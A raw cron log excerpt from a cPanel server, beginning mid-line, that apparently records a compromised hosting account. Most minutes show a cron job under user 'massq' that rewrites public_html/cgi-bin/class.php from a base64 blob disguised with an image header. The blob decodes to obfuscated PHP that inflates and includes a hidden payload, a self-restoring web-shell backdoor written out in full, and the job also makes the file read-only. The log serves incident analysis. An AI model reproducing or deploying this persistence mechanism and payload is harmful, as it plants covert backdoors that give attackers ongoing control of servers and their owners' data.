C2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:52:01 server CROND[28615]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:52:01 server CROND[28616]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 01:52:01 server CROND[28618]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:53:01 server CROND[28993]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:53:01 server CROND[28994]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 01:53:01 server CROND[28995]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:54:01 server CROND[29377]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:54:01 server CROND[29378]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 01:54:01 server CROND[29379]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:55:01 server CROND[29755]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 01:55:01 server CROND[29757]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:55:01 server CROND[29758]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 01:55:01 server CROND[29764]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 01:55:01 server CROND[29766]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 01:55:01 server CROND[29771]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:55:01 server CROND[29765]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 01:56:01 server CROND[30682]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 01:56:01 server CROND[30683]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:56:01 server CROND[30684]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:57:01 server CROND[31059]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:57:01 server CROND[31060]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 01:57:01 server CROND[31062]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 01:57:01 server CROND[31061]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:58:01 server CROND[31425]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:58:01 server CROND[31426]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 01:58:01 server CROND[31427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:59:02 server CROND[32400]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:59:02 server CROND[32401]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:59:02 server CROND[32402]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 02:00:01 server CROND[869]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 02:00:01 server CROND[875]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:00:01 server CROND[876]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  9 02:00:01 server CROND[880]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 02:00:01 server CROND[881]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:00:01 server CROND[879]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 02:00:01 server CROND[877]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 02:00:01 server CROND[874]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 02:00:01 server CROND[883]: (root) CMD (/usr/local/cpanel/bin/backup)
Sep  9 02:00:01 server CROND[884]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  9 02:00:01 server CROND[878]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 02:01:01 server CROND[2296]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:01:01 server CROND[2298]: (root) CMD (run-parts /etc/cron.hourly)
Sep  9 02:01:01 server CROND[2300]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:01:01 server CROND[2297]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 02:01:01 server run-parts(/etc/cron.hourly)[2298]: starting 0anacron
Sep  9 02:01:01 server anacron[2320]: Anacron started on 2026-09-09
Sep  9 02:01:01 server anacron[2320]: Normal exit (0 jobs run)
Sep  9 02:01:01 server run-parts(/etc/cron.hourly)[2322]: finished 0anacron
Sep  9 02:02:01 server CROND[2807]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 02:02:01 server CROND[2808]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 02:02:01 server CROND[2809]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 02:03:01 server CROND[3184]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
